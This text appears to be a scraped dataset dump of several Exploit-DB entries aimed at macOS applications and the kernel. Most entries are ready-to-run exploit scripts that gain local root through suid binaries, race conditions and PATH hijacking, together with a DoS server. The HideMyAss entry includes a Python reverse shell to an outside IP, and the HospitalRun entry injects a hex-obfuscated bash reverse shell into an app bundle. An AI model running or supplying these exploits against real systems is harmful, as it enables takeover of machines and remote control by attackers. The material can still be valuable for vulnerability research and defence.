deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43216
Description: Arq 5.9.7 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-12-06
Author: Mark Wadham

Exploit:
=begin
As well as the other bugs affecting Arq <= 5.9.6 there is also another issue
with the suid-root restorer binaries in Arq for Mac. There are three of them
and they are used to execute restores of backed up files from the various
cloud providers.

After reversing the inter-app protocol I discovered that the path to the
restorer binary was specified as part of the data packet sent by the UI. After
receiving this, the restorer binaries then set +s and root ownership on this
path. This means we can specify an arbitrary path which will receive +s and root
ownership.

This issue is fixed in Arq 5.10.
=end

#!/usr/bin/env ruby

##################################################################
###### Arq <= 5.9.7 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html               ######
##################################################################

s = File.stat("/Applications/Arq.app/Contents/Resources/standardrestorer")

if s.mode != 0104755 or s.uid != 0
  puts "Not vulnerable - standardrestorer is not suid root."
  exit 1
end

binary_target = "/tmp/arq_597_exp"

d = "\x01\x00\x00\x00\x00\x00\x00\x00"
e = "\x00\x00\x00\x00\x03"
z = "0000"
target = sprintf("%s%s-%s-%s-%s-%s%s%s", z,z,z,z,z,z,z,z)
plist = "<plist version=\"1.0\"><dict><\/dict><\/plist>"
backup_set = "0" * 40
hmac = "0" * 40

payload = sprintf(
  "%s%s%s%s\$%s%s\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
  "\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30\x2e\x30" +
  "\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s\x00\x00\x00%s" +
  "\x00\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00\x00\x00%s\x00\x00" +
  "\x00%s\x00\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00\x00\x00\x00\x00\x00" +
  "\x14\x00%s\x00\x00\x00\x00\x03%s\x0a",
    d, binary_target.length.chr, binary_target,
    d, target,
    d, plist.length.chr, plist,
    d, backup_set,
    d, d, d, hmac,
    d, d, d, e * 10
  )

shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);"+
  "execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{binary_target};/bin/bash\","+
  "NULL);return 0; }"

IO.popen("gcc -xc -o #{binary_target} -", mode="r+") do |io|
  io.write(shellcode)
  io.close
end

IO.popen("/Applications/Arq.app/Contents/Resources/standardrestorer " +
  "2>/dev/null", mode="r+") do |io|
  io.getc && io.write(payload)
end

timeout=3
i=0

while (s = File.stat(binary_target)) && (s.mode != 0104755 or s.uid != 0)
  sleep 0.1
  i += 1

  if i >= (timeout * 10)
    break
  end
end

if s.mode == 0104755 and s.uid == 0
  system(binary_target)
  exit 0
end

puts "exploit failed"
Exploit-DB #45107
Description: Charles Proxy 4.2 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2018-07-30
Author: Mark Wadham

Exploit:
Charles Proxy is a great mac application for debugging web services and
inspecting SSL traffic for any application on your machine.

In order to inspect the SSL traffic it needs to configure the system to use a
proxy so that it can capture the packets and use its custom root CA to decode
the SSL.

Setting a system-wide proxy requires root permissions so this is handled by an
suid binary located within the Charles application folder:

/Applications/Charles.app/Contents/Resources/Charles Proxy Settings

Unfortunately this binary is vulnerable to a race condition which allows a local
user to spawn a root shell. It supports a parameter "--self-repair" which it
uses to re-set the root+suid permissions on itself, with a graphical dialog
shown to the user. However if this is called when the binary is already
root+suid then no password dialog is shown.

It doesn't validate the path to itself and uses a simple API call to get the
path to the binary at the time it was invoked. This means that between executing
the binary and reaching the code path where root+suid is set there is enough
time to replace the path to the binary with an alternate payload which will then
receive the suid+root permissions instead of the Charles binary.

This issue was fixed in Charles 4.2.1 released in November 2017.

https://m4.rkw.io/charles_4.2.sh.txt
2f4a2dca6563d05a201108ec6e9454e2894b603b68b3b70b8f8b043b43ee9284
-------------------------------------------------------------------------------
#!/bin/bash

####################################################
###### Charles 4.2 local root privesc exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
####################################################

cd
user="`whoami`"

cat > charles_exploit.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f \"/Users/$user/Charles Proxy Settings\"; /bin/bash",NULL);
  return 0;
}
EOF

gcc -o charles_exploit charles_exploit.c
if [ $? -ne 0 ] ; then
  echo "failed to compile the exploit, you need xcode cli tools for this."
  exit 1
fi
rm -f charles_exploit.c

ln -s /Applications/Charles.app/Contents/Resources/Charles\ Proxy\ Settings
./Charles\ Proxy\ Settings --self-repair 2>/dev/null &
rm -f ./Charles\ Proxy\ Settings
mv charles_exploit Charles\ Proxy\ Settings

i=0

while :
do
  r=`ls -la Charles\ Proxy\ Settings |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
  i=$((i+1))
  if [ $i -eq 10 ] ; then
    rm -f Charles\ Proxy\ Settings
    echo "Not vulnerable"
    exit 1
  fi
done

./Charles\ Proxy\ Settings
Exploit-DB #46724
Description: Evernote 7.9 - Code Execution via Path Traversal
Type: local
Platform: macos
Date: 2019-04-18
Author: Dhiraj Mishra

Exploit:
Exploit Title: Code execution via path traversal
# Date: 17-04-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://evernote.com/
# Software Link: https://evernote.com/download
# Version: 7.9
# Tested on: macOS Mojave v10.14.4
# CVE: CVE-2019-10038
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-10038
# https://www.inputzero.io/2019/04/evernote-cve-2019-10038.html

Summary:
A local file path traversal issue exists in Evernote 7.9 for macOS which
allows an attacker to execute arbitrary programs.

Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
(../../../../something.app).

Since, Evernote also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes (.enex) to the
victim to perform any further attack.

Patch:
The patch for this issue is released in Evernote 7.10 Beta 1 for macOS
[MACOSNOTE-28840]. Also, the issue is tracked by CVE-2019-10038.
Exploit-DB #50696
Description: Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service)
Type: local
Platform: macos
Date: 2022-02-02
Author: LiquidWorm

Exploit:
# Exploit Title: Fetch Softworks Fetch FTP Client 5.8 - Remote CPU Consumption (Denial of Service)
# Exploit Author: liquidworm

#!/usr/bin/env python
#
#
# Fetch Softworks Fetch FTP Client 5.8 Remote CPU Consumption (Denial of Service)
#
#
# Vendor: Fetch Softworks
# Product web page: https://www.fetchsoftworks.com
# Affected version: 5.8.2 (5K1354)
#
# Summary: Fetch is a reliable, full-featured file transfer client for the
# Apple Macintosh whose user interface emphasizes simplicity and ease of use.
# Fetch supports FTP and SFTP, the most popular file transfer protocols on
# the Internet for compatibility with thousands of Internet service providers,
# web hosting companies, publishers, pre-press companies, and more.
#
# Desc: The application is prone to a DoS after receiving a long server response
# (more than 2K bytes) leading to 100% CPU consumption.
#
# --------------------------------------------------------------------------------
# ~/Desktop> ps ucp 3498
# USER     PID  %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND
# lqwrm   3498 100.0  0.5 60081236  54488   ??  R     5:44PM   4:28.97 Fetch-5K[PII_REDACTED]21
# ~/Desktop> 
# --------------------------------------------------------------------------------
#
# Tested on: macOS Monterey 12.2
#            macOS Big Sur 11.6.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2022-5696
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5696.php
#
#
# 27.01.2022
#

import socket

host = '0.0.0.0'
port = 21

s = socket.socket()
s.bind((host, port))
s.listen(2)

print('Ascolto su', host, 'porta', port, '...')

consumptor  = '220\x20'
consumptor += 'ftp.zeroscience.mk'
consumptor += '\x00' * 0x101E
consumptor += '\x0D\x0A'

while True:
    try:
        c, a = s.accept()
        print('Connessione da', a)
        print('CPU 100%, Memory++')
        c.send(bytes(consumptor, 'UTF-8'))
        c.send(b'Thricer OK, p\'taah\x0A\x0D')
        print(c.recv(17))
    except:
        break
Exploit-DB #43220
Description: Hashicorp vagrant-vmware-fusion 5.0.1 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-12-06
Author: Mark Wadham

Exploit:
# I recently blogged about how the installation process of version 5.0.0 of this
# plugin could be hihacked by a local attacker or malware in order to escalate
# privileges to root.  Hashicorp pushed some mitigations for this issue fairly
# quickly but unfortunately 5.0.1 is still exploitable with a slightly different
# approach.

# They removed the chmod/chown shell commands from their osascript invocation and
# instead simply executed their installer as root, but apparently didn't realise
# that the installer is not root-owned so can be swapped out by a local attacker
# during the process.

# This issue is fixed in version 5.0.2.

# https://m4.rkw.io/vagrant_vmware_privesc_5.0.1.sh.txt
# c38ecc9fdb4f37323338e8fd12b851133a2121f3505cde664e6d32f1ef49ba23
# -----------------------------------------------------------------------------
#!/bin/bash
echo "########################################"
echo "vagrant_vmware_fusion 5.0.1 root privesc"
echo "by m4rkw"
echo "########################################"
echo
echo "compiling..."

cat > vvf.c <<EOF
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int ac, char *av[])
{
  setuid(0);
  seteuid(0);
  if (ac > 1) {
    system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 /tmp/vvf_exp");
    system("chown root:wheel /tmp/vvf_exp");
    system("chmod 4755 /tmp/vvf_exp");
    system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64.orig $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64");
    system("$HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 install\012");
    return 0;
  }
  system("rm -f /tmp/vvf_exp");
  execl("/bin/bash","bash",NULL);
  return 0;
}
EOF

gcc -o /tmp/vvf_exp vvf.c
rm -f vvf.c

echo "waiting for user to initiate vagrant plugin update..."

while :
do
  r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant-vmware-installer_darwin_amd64'`
  if [ "$r" != "" ] ; then
    break
  fi
done

pid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64 install' |grep -v grep |xargs -L1 |cut -d ' ' -f2`

cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop

echo "dropping payload in place of installer binary..."

mv -f vagrant-vmware-installer_darwin_amd64 vagrant-vmware-installer_darwin_amd64.orig
mv -f /tmp/vvf_exp vagrant-vmware-installer_darwin_amd64

echo "waiting for payload to trigger..."

while :
do
  r=`ls -la /tmp/vvf_exp 2>/dev/null |grep -- '-rwsr-xr-x' |grep root`
  if [ "$r" != "" ] ; then
    echo "spawning shell..."
    /tmp/vvf_exp
    exit 0
  fi
done
Exploit-DB #42334
Description: Hashicorp vagrant-vmware-fusion < 4.0.20 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-07-18
Author: Mark Wadham

Exploit:
I'm a big fan of Hashicorp but this is an awful bug to have in software of their
calibre.

Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to
protect their proprietary ruby code.  It does this by turning the ruby code into
bytecode and executing it directly.

Unfortunately the execution chain necessary for this to work is not safe.  After
installing the plugin, the first time you "vagrant up" any vagrant file using
vmware fusion it will create some files in
~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin:

vagrant_vmware_desktop_sudo_helper
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
vagrant_vmware_desktop_sudo_helper_wrapper_linux_386
vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64

The first one is an encoded ruby script, the others are "sudo helper" binaries
for the different platforms supported by the plugin.  Of these sudo helpers,
the one that corresponds to your platform will be made suid root when vagrant up
is run.

Unfortunately the helper calls the ruby script with system("ruby <script path>")
- i.e. it doesn't verify the path to the ruby script and it doesn't scrub the
PATH variable either.  We can easily exploit this to get root.

Hashicorp were quick to respond and kindly paid me a small bounty for my trouble.

The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17.

The exploit below is for darwin 64bit but it's likely other architectures are
also vulnerable.

https://m4.rkw.io/vagrant_vmware_privesc.sh.txt
2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3
--------------------------------------------------------------------------

#!/bin/bash

vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`

if [ "$vuln_bin" == "" ] ; then
  echo "Vulnerable binary not found."
  exit 1
fi

dir=`dirname "$vuln_bin"`

cd "$dir"

cat > ruby <<EOF
#!/bin/bash
echo
echo "************************************************************************"
echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *"
echo "* plugin, by m4rkw                                                     *"
echo "************************************************************************"
echo
echo "Shout out to #coolkids o/"
echo
bash
exit 0
EOF

chmod 755 ruby

VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64

--------------------------------------------------------------------------
Exploit-DB #41952
Description: HideMyAss Pro VPN Client for macOS 3.x - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-05-01
Author: Han Sahin

Exploit:
Source: https://www.securify.nl/advisory/SFY20170408/local_privilege_escalation_vulnerability_in_hidemyass_pro_vpn_client_v3_x_for_macos.html

Abstract
A local privilege escalation vulnerability has been found in the helper binary com.privax.hmaprovpn.helper that ships with HideMyAss Pro VPN v3.3.0.3 for macOS. The helper is installed setuid root and uses the openvpn binary to create VPN profiles and connections. The helper fails to perform signature check's on the openvpn file, which is owned by the user that installed the client. This allows malware on the system to replace the openvpn binary and run arbitrary code as root.


Tested versions:
This issue was tested on HideMyAss Pro VPN v3.3.0.3 for macOS.


Fix:
There is currently no fix available.


Introduction:
HideMyAss is a popular VPN service that allows users to hide their identity and browse anonymously online. HideMyAss also provides applications to setup the VPN connections, including a client for macOS. It was discovered that version 3.x of HMA Pro VPN for macOS is affected by local privilege escalation.


Details:
The helper binary com.privax.hmaprovpn.helper that ships with HideMyAss Pro VPN v3.3.0.3 for macOS is installed in PrivilegedHelperTools and run every time the user reboots. The privileged helper is responsible for opening VPN connections with correct security and connection profile settings.

The com.privax.hmaprovpn.helper is installed setuid root and fails to perform signature check's on the openvpn executable, which is owned by the user that installed the client. This allows malware on the system to replace the openvpn binary and run arbitrary code as root.

/advisory/SFY20170408/runopenvpnasroot.png
/advisory/SFY20170408/startopenvpn.png


Proof of Concept:
1) Create an Python script named openvpn and make sure it is executable (chmod u+x).

#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.28",8099));os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

2) Replace the openvpn binary located in the path below with this Python script.

/Applications/HMA\!\ Pro\ VPN.app/Contents/XPCServices/HMA\!\ Pro\ VPN\ Engine.xpc/Contents/MacOS/

3) Wait until the victim opens a VPN connection.
Exploit-DB #51310
Description: HospitalRun  1.0.0-beta - Local Root Exploit for macOS
Type: local
Platform: macos
Date: 2023-04-06
Author: Jean Pereira

Exploit:
# Exploit Title: HospitalRun  1.0.0-beta - Local Root Exploit for macOS
# Written by Jean Pereira <info@cytres.com>

# Date: 2023/03/04
# Vendor Homepage: https://hospitalrun.io
# Software Link: https://github.com/HospitalRun/hospitalrun-frontend/releases/download/1.0.0-beta/HospitalRun.dmg
# Version: 1.0.0-beta
# Tested on: macOS Ventura 13.2.1 (22D68)

# Impact: Command Execution, Privilege Escalation

# Instructions:
# Run local TCP listener with (e.g. nc -l 2222)
# Run exploit
# Wait for HospitalRun to be executed
# Profit (privileged rights e.g. root are gained)

# Hotfix: Remove write permissions from electron.asar to patch this vulnerability

# Exploit:

buffer =  "\x63\x6F\x6E\x73\x74\x20\x72\x65\x6E" +
          "\x64\x65\x72\x50\x72\x6F\x63\x65\x73" +
          "\x73\x50\x72\x65\x66\x65\x72\x65\x6E" +
          "\x63\x65\x73\x20\x3D\x20\x70\x72\x6F" +
          "\x63\x65\x73\x73\x2E\x61\x74\x6F\x6D" +
          "\x42\x69\x6E\x64\x69\x6E\x67\x28\x27" +
          "\x72\x65\x6E\x64\x65\x72\x5F\x70\x72" +
          "\x6F\x63\x65\x73\x73\x5F\x70\x72\x65" +
          "\x66\x65\x72\x65\x6E\x63\x65\x73\x27" +
          "\x29\x2E\x66\x6F\x72\x41\x6C\x6C\x57" +
          "\x65\x62\x43\x6F\x6E\x74\x65\x6E\x74" +
          "\x73\x28\x29"

payload = "\x72\x65\x71\x75\x69\x72\x65\x28\x22" +
          "\x63\x68\x69\x6C\x64\x5F\x70\x72\x6F" +
          "\x63\x65\x73\x73\x22\x29\x2E\x65\x78" +
          "\x65\x63\x53\x79\x6E\x63\x28\x22\x2F" +
          "\x62\x69\x6E\x2F\x62\x61\x73\x68\x20" +
          "\x2D\x63\x20\x27\x65\x78\x65\x63\x20" +
          "\x62\x61\x73\x68\x20\x2D\x69\x20\x3E" +
          "\x2F\x64\x65\x76\x2F\x74\x63\x70\x2F" +
          "\x30\x2E\x30\x2E\x30\x2E\x30\x2F\x32" +
          "\x32\x32\x32\x20\x30\x3E\x26\x31\x27" +
          "\x22\x29"

nopsled = "\x2F\x2A\x2A\x2A\x2A" +
          "\x2A\x2A\x2A\x2A\x2F"

File.open("/Applications/HospitalRun.app/Contents/Resources/electron.asar", "rb+") do |file|
  electron = file.read
  electron.gsub!(buffer, payload + nopsled)
  file.pos = 0
  file.write(electron)
end
Exploit-DB #47400
Description: macOS 18.7.0 Kernel - Local Privilege Escalation
Type: local
Platform: macos
Date: 2019-09-19
Author: A2nkF

Exploit:
# macOS-Kernel-Exploit

## DISCLAIMER
You need to know the KASLR slide to use the exploit. Also SMAP needs to be disabled which means that it's not exploitable on Macs after 2015. These limitations make the exploit pretty much unusable for in-the-wild exploitation but still helpful for
security researchers in a controlled lab environment.

This exploit is intended for security research purposes only.

## General
macOS Kernel Exploit for CVE-????-???? (currently a 0day. 
I'll add the CVE# once it is published ;) ). 

Thanks to @LinusHenze for this cool bug and his support ;P.

## Writeup

Probably coming soon.
If you want to try and exploit it yourself, here are a few things to get you started:

- VM: Download the macOS installer from the appstore and drag the `.app` file into VMWare's `NEW VM` window
- Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb
- Have a look at the _kernel_trap function


## Build

I recommend setting the bootargs to: `debug=0x44 kcsuffix=development -v `

:warning: **Note**: SMAP needs to be disabled on macs after 2015 (`-pmap_smap_disable`)

You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit)
Downloading Xcode 9.4.1 Commandline Tools should be enough ;)
Download: https://developer.apple.com/download/more/

```
make
```

## Execution

```
./exploit <KASLR slide>
```

Tested on macOS Mojave: `Darwin Kernel-Mac.local 18.7.0 Darwin Kernel Version 18.7.0: Thu Jun 20 18:42:21 PDT 2019; root:xnu-4903.270.47~4/DEVELOPMENT_X86_64 x86_64`

**Demo**:

[![asciicast](https://asciinema.org/a/UBmByRiRR0y5USBwuHKC5X7GU.png)](https://asciinema.org/a/UBmByRiRR0y5USBwuHKC5X7GU)


- - - 

EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47400.zip